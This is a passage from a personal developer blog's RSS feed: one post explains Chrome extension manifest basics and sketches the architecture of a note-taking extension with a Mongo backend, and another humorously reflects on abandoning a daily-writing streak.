<p>But you can also use HTML storage. So, web storage is also an option. And you can even take advantage of fancy things like <a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API">indexedDB</a>, which is an (JSON) <a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API/Basic_Terminology">object-based NoSQL database</a>. If your extension needs to keep lots of data.</p>
<h2 id="heading-but-how-even">But how even?</h2>
<p>I would encourage you to check out this amazing chart of the <a target="_blank" href="https://ylog.hashnode.dev/architecture-of-chrome-extension">Architecture of Chrome Extensions</a> that <a class="user-mention" href="https://hashnode.com/@yoshiz">Yoshi</a> made! It really helped me pull everything together inside my mind. Say hi to Yoshi for me! </p>
<p>Here's the basic mental model for my chrome-extension-development workflow.</p>
<p>Everything is centered around the manifest file. Which sits at the root of the project. And serves as a nexus where you <em>declare</em> everything you extension does.</p>
<p>You start by declaring the name, description, version and manifest version in <code>manifest.json</code></p>
<pre><code class="lang-json">{
  <span class="hljs-attr">"name"</span>: <span class="hljs-string">"Super Awesome Extension"</span>,
  <span class="hljs-attr">"description"</span>: <span class="hljs-string">"Turns the awesomeness up a notch... Or several!"</span>,
  <span class="hljs-attr">"version"</span> : <span class="hljs-string">"1.0"</span>,
  <span class="hljs-attr">"manifest"</span> : <span class="hljs-number">3</span>
}
</code></pre>
<p>If you want your extension to do anything, you will need to declare the thing on the manifest. You may also want to add permissions for things like storage.</p>
<pre><code class="lang-json">{
  ...
  <span class="hljs-attr">"background"</span> : {
    <span class="hljs-attr">"service_worker"</span> : <span class="hljs-string">"background.js"</span>
  },
  <span class="hljs-attr">"permissions"</span> : [<span class="hljs-string">"storage"</span>]
}
</code></pre>
<p>If you want to use some part of the API, you have to... you guessed it. Declare it in the manifest! You can check the documentation for the API to see how. But I'll still show you an example.</p>
<pre><code class="lang-json">{
  ...
  <span class="hljs-attr">"action"</span> : {
    <span class="hljs-attr">"default_popup"</span> : <span class="hljs-string">"makeAwesome.html"</span>
  }
}
</code></pre>
<p>Check the <code>chrome.action</code> API to learn about the "action" object. Which refers to the browser toolbar icon. Here, we are <em>declaring</em> that the included "makeAwesome.html" file shall be rendered as a popup when you click on the extension's icon.</p>
<p>Suppose you want to have some logic. You will need to create and link a "makeAwesome.js" the usual way (eg. using the <code>&lt;script&gt;</code> tag). But will also need to tell chrome about it in the manifest... say it with me... you need to declare it.</p>
<pre><code class="lang-json">{
  ...
  <span class="hljs-attr">"permissions"</span> : [..., <span class="hljs-string">"activeTab"</span>, <span class="hljs-string">"scripting"</span>],
  ...
}
</code></pre>
<p>Here, you ask for permissions needed to allow the extension to <a target="_blank" href="https://developer.chrome.com/docs/extensions/mv3/manifest/activeTab/">interact with the active tab</a> when the user uses the extension, and to use the <a target="_blank" href="https://developer.chrome.com/docs/extensions/reference/scripting/">scripting API</a> if you want to inject JavaScript in a webpage.</p>
<blockquote>
<p>If you have used manifest v2, this kinda replaces <code>&lt;all_urls&gt;</code>. </p>
</blockquote>
<p>Finally, to <a target="_blank" href="https://developer.chrome.com/docs/extensions/mv3/getstarted/#unpacked">load an (unpacked) extension</a>, you will need to enter developer mode on chrome (from <code>chrome://extensions/</code>) and click the "load unpacked button".</p>
<h2 id="heading-is-there-more-to-learn-about-extensions">Is there more to learn about extensions?</h2>
<p>There are other research directions I found from those first four articles I found. For example. Why would I want to learn to write <em>chrome</em> extensions? (other than market share) </p>
<p>What about Firefox or Safari? What about the number one best web browser ever created... say it with me... edge?</p>
<p>It turns out that chrome's market share, and google's intentions with the chromium project (which you can read about in the comic) explain the current state of affairs. Both Firefox and edge used to have their own apis. But <a target="_blank" href="https://www.computerworld.com/article/3325333/web-browsers/with-move-to-rebuild-edge-atop-googles-chromium-microsoft-raises-white-flag-in-browser-war.html">Edge eventually gave up and just adopted chrome's</a>. And <a target="_blank" href="https://extensionworkshop.com/documentation/develop/about-the-webextensions-api/">Firefox kinda did as well</a>.</p>
<p>Not only that. There is now a <a target="_blank" href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions">Browser Extensions API for Firefox</a> <a target="_blank" href="https://developer.apple.com/documentation/safariservices/safari_web_extensions">(and Safari)</a> that is intended to work in whatever browser. And is pretty much just chrome's api.</p>
<p>The point is that Chrome's API is now the <em>de facto</em> standard.</p>
<hr />
<h1 id="heading-designing-and-eventually-building-an-extension">Designing and (eventually) building an extension</h1>
<p>I want to build a full project. Up to a SaaS offering centered around a chrome extension. So I have an excuse for learning. I will take several posts to achieve that. </p>
<p>I don't really plan on selling anything. But I will consider costs and the business side of things. As software architecture requires taking business domain knowledge into account.</p>
<p>So it is worth it to take pause, before jumping into code. And consider adopting a lighter stride. Here I will detail my initial design goals and some of the architectural directions I am considering for this project.</p>
<p>If I were to guess. Everything is bound, and likely, to change. I am open for feedback. As I am just learning this stuff.</p>
<h2 id="heading-quick-and-dirty-design-goals">Quick and dirty design goals</h2>
<p>I want an extension that will help me write an "executive summary" from any article I read from the internet. As I am reading it. Let's write some user stories.</p>
<ol>
<li><p>I want a shortcut that allows me to frictionlessly write a small atomic note.</p>
</li>
<li><p>I want to save those notes into a database. Along with the article reference.</p>
</li>
<li><p>I want to be able to export all the notes from an article into a format I can paste into markdown.</p>
</li>
<li><p>I want to have a frontend where I can browse my saved notes.</p>
</li>
</ol>
<blockquote>
<p>Please note that I am <a target="_blank" href="http://antonymarcano.com/blog/2016/08/how-the-industry-broke-the-connextra-template/">not using the “connextra” template. Nor are these requirements</a>. Rather I want these to serve as prompts for when I have to figure how to implement whatever features I will need to fulfill such stories.</p>
</blockquote>
<h2 id="heading-the-mvp">The MVP</h2>
<p>For story 1, I will have the extension open a modal with a very simple editor in which I can write. I will make it so that pressing a key combination like "shift+n" (or something like so) opens the modal. The same for closing.</p>
<p>For both 2 and 3 I want to represent each article as a javascript object like this (I’m using TypeScript for this explanation, but I will use plain JavaScript for development)</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">interface</span> article {
  title: <span class="hljs-built_in">string</span>,
  url: <span class="hljs-built_in">string</span>,
  notes: <span class="hljs-built_in">Array</span>&lt;<span class="hljs-built_in">string</span>&gt;
}
</code></pre>
<p>That will serve both as my data model and as the in-memory object that the extension will handle.</p>
<p>I will also have two main functions. The first one to format our object into either html or markdown</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">type</span> Format = <span class="hljs-string">"html"</span> | <span class="hljs-string">"markdown"</span>

<span class="hljs-keyword">const</span> formatArticle = (article: Article, format: Format):<span class="hljs-function"><span class="hljs-params">string</span> =&gt;</span> {...}
</code></pre>
<p>And the other so that the article object can save itself to a database.</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">type</span> Response = <span class="hljs-string">"success"</span> | <span class="hljs-string">"failure"</span>

<span class="hljs-keyword">interface</span> article {
 ...
saveToDB () : <span class="hljs-built_in">Promise</span>&lt;Response&gt;
}
</code></pre>
<p>Finally, for point 4 above. I will have a small frontend app where I can browse my notes.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1648237977361/s5qHt7eBE.jpeg" alt="0EC0A99E-128A-4987-A8A1-F1E538B087C4.jpeg" /></p>
<h2 id="heading-high-level-architecture-design">High-level architecture design</h2>
<p>Take a look at the monolithic blob I started with, before realizing it was a complete mess. Also, before deciding on graduating this project into a fully fledged SaaS product.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1648236689032/hzcHqF4rX.jpeg" alt="9D864461-2A2B-4E61-A65C-0F8856026957.jpeg" /></p>
<p>The main issue was that I wanted to use the IndexedDB Web API to save my notes. But I found it to be very <em>wonky</em> and obtuse when trying to fit it in the "service worker" approach of chrome extensions. Also, if I want to support syncing notes, it would require significant refactoring down the line. Chrome's storage API provides support for synching, but it is similar to the localStorage WebAPI. And I want document-based, like Mongo. I like MongoDB a lot.</p>
<p>So I thought. Why not Mongo?</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1648236706856/Uzf2jU4FQ.jpeg" alt="BCA0542D-6644-484B-9DAA-4DEC057F85B1.jpeg" /></p>
<p>One thing led to another and that was the moment I came up with the SaaS idea. So let's decouple some more. And think about leveraging node and express for dealing with users and a Mongo database. And lets throw in a React frontend. Why not!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1648236736728/XQ37lGOKT.jpeg" alt="7157B3D3-4FAA-4F8E-9A12-23278A96B6BD.jpeg" /></p>
<p>Finally. You can see I have an <em>architectural decision</em> to make. I can either allow the extension to directly save to the database or I can route it through my server. There are some tradeoff with both alternatives:</p>
<ul>
<li>The first option will require a substantial refactoring and resubmission of the extension if I make any change to the database or my data model.</li>
<li>The second option doesn't require any change in the extension code if I change how I do things on the database side. But will incur extra traffic on my server. Which to be honest is not really a problem for a small app that nobody will use. But, in the hypothetical that it has a lot of users, that will require careful consideration.</li>
</ul>
<h1 id="heading-whats-next">Whats next?</h1>
<p>Seemingly at random, I switched the conversation from software <em>design</em> into architecture. </p>
<p>That is because I am learning about software architecture!</p>
<p>So I will continue this series by tackling just that! </p>
<h2 id="heading-the-book-section">The book section</h2>
<p>I am reading this book <a target="_blank" href="https://amzn.to/35cbagR">Fundamentals of Software Architecture</a> by Mark Richards and Neal Ford. I am really liking this book. It starts by attempting to offer a "4-fold" view of software architecture. Which goes beyond the <em>system structure</em> (i.e micro services, n-layered, etc). </p>
<p>They propose that Architecture involves such system structure as well as <em>architecture characteristics</em> (i.e "-ilities" like reliability, scalability, and so). And <em>architectural decisions</em> like the one I exemplified about whether the extension should communicate directly with the database. Finally, it also involves <em>design principles</em> that guide the way developers will shape the system.</p>
<p>All of them guided primarily by business goals, as well as technological capabilities. For example, I am only familiar with the MERN stack. So If I am the "dev team", my decision will take into account both the business goal (including costs, goals, infrastructure options, etc) as well as the technologies I can use or can learn how to use.</p>
<blockquote>
<p>A disclaimer. I will start linking amazon affiliate links in my posts. But I will not spam books to you :D</p>
</blockquote>
<h1 id="heading-epilogue">Epilogue.</h1>
<p>*heavy breathing* well, that was quite the adventure! It took me like a week to research!</p>
<p>I learned A LOT by writing this post. And I'm starting to feel like I have some idea of what I'm doing XD</p>
<p>I am really liking the big-picture architectural approach. I am not that much of a coder to be honest. And the big-picture thing really meshes well with how I think. I will focus more on that! </p>
<p>...</p>
<p>Anyways, see you next time!</p>
<div class="hn-embed-widget" id="money-footer"></div><div class="hn-embed-widget" id="crypto-footer"></div>]]></content:encoded></item><item><title><![CDATA[I -almost- made it :D]]></title><description><![CDATA[How do you people do it?
I recently started doing the twitter thing again and I cannot help but wonder how the hell are some of you doing 100 consecutive days of anything.
Well, I was writing everyday. Hence the now-petulant name of this series. I wa...]]></description><link>https://blog.jrlgs.dev/i-almost-made-it-d</link><guid isPermaLink="true">https://blog.jrlgs.dev/i-almost-made-it-d</guid><category><![CDATA[Programming Blogs]]></category><category><![CDATA[Blogging]]></category><category><![CDATA[100DaysOfCode]]></category><category><![CDATA[learning]]></category><category><![CDATA[Learning Journey]]></category><dc:creator><![CDATA[Jorge Romero]]></dc:creator><pubDate>Thu, 24 Mar 2022 05:28:02 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1648099031698/5Lpv1x_wv.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>How do you people do it?</p>
<p>I recently started doing the twitter thing again and I cannot help but wonder how the hell are some of you doing 100 consecutive days of <em>anything</em>.</p>
<p>Well, I <em>was</em> writing everyday. Hence the now-petulant name of this series. I wanted to see how far I could make it, tough.</p>
<p>2 weeks. Two measly weeks was all I could muster. </p>
<p>But I learned a few things. So here's the obligatory "what I learned by..." post of Hashnode tradition. </p>
<p>Or whatever.</p>
<h1 id="heading-it-was-way-easier-than-i-thought">It was way easier than I thought</h1>
<p>This one was surprising to me. I usually have a very hard time writing, much less so doing it constantly. I used to have to write a lot during my time at university. So I know I can write. </p>
<p>But doing it out of my own free will? That was really something that I wasn't expecting. </p>
<p>I speculate that the context -a blog, with feedback in the form of comments- has a lot to do with it. </p>
<p>Academic writing is very solitary and feedback-deprived as it is. I used to have a bad case of <em>writing-about-weird-stuff-even-for-philosophers</em>. So, expectedly, I used to get <em>very</em> little feedback. </p>
<p>We are talking about a "you missed a comma" once or twice a year. </p>
<p>I wish I was kidding!</p>
<h1 id="heading-seriously-how-do-you-do-it">Seriously, how do you do it?</h1>
<p>My brain comes equipped with two <em>modes</em> of processing time.</p>
<p>RIGHT NOW!</p>
<p>and </p>
<p>NOT RIGHT NOW!</p>
<p>And I have this very nasty thing that makes it so that anything that graduates from "now" ceases to form part of my <a target="_blank" href="https://en.wikipedia.org/wiki/Umwelt"><em>umwelt</em></a>. With a moratorium of at least two hours. But it can be days. </p>
<p>Yet my brain figures that any chirping birb on the background is a matter of national urgency.</p>
<p><em>As important</em> as whatever JavaScript I could be typing. At any moment's notice. </p>
<p>If not more! Because... birbs!</p>
<h1 id="heading-i-learned-a-ton">I learned a ton</h1>
<p>But thanks to whatever magic this twitter-blog thingy I'm doing, I have kept way more productive than pretty much ever. </p>
<p>Which is great! I have learned a lot, just by writing about it.</p>
<p>What is not great is that I am still very unable to keep track of those damn days of code. </p>
<p>...</p>
<h1 id="heading-epilogue">Epilogue.</h1>
<p>No seriously. How do you do it?</p>
<p>Like seriously. </p>
<p>It's starting to stop being funny :(</p>
<p>...</p>
<p>See you... tomorrow?</p>
<p>P.S. Don’t take any of this too seriously. Sardonic smugness is my way of coping! :P</p>
<hr />
<p>*Obligatory beg-for-money section*</p>
<p><a href="https://www.buymeacoffee.com/jorchRL"><img src="https://img.buymeacoffee.com/button-api/?text=Buy me a Coffee :3&amp;emoji=&amp;slug=jorchRL&amp;button_colour=40DCA5&amp;font_colour=ffffff&amp;font_family=Comic&amp;outline_colour=000000&amp;coffee_colour=FFDD00" /></a></p>
]]></content:encoded></item></channel></rss>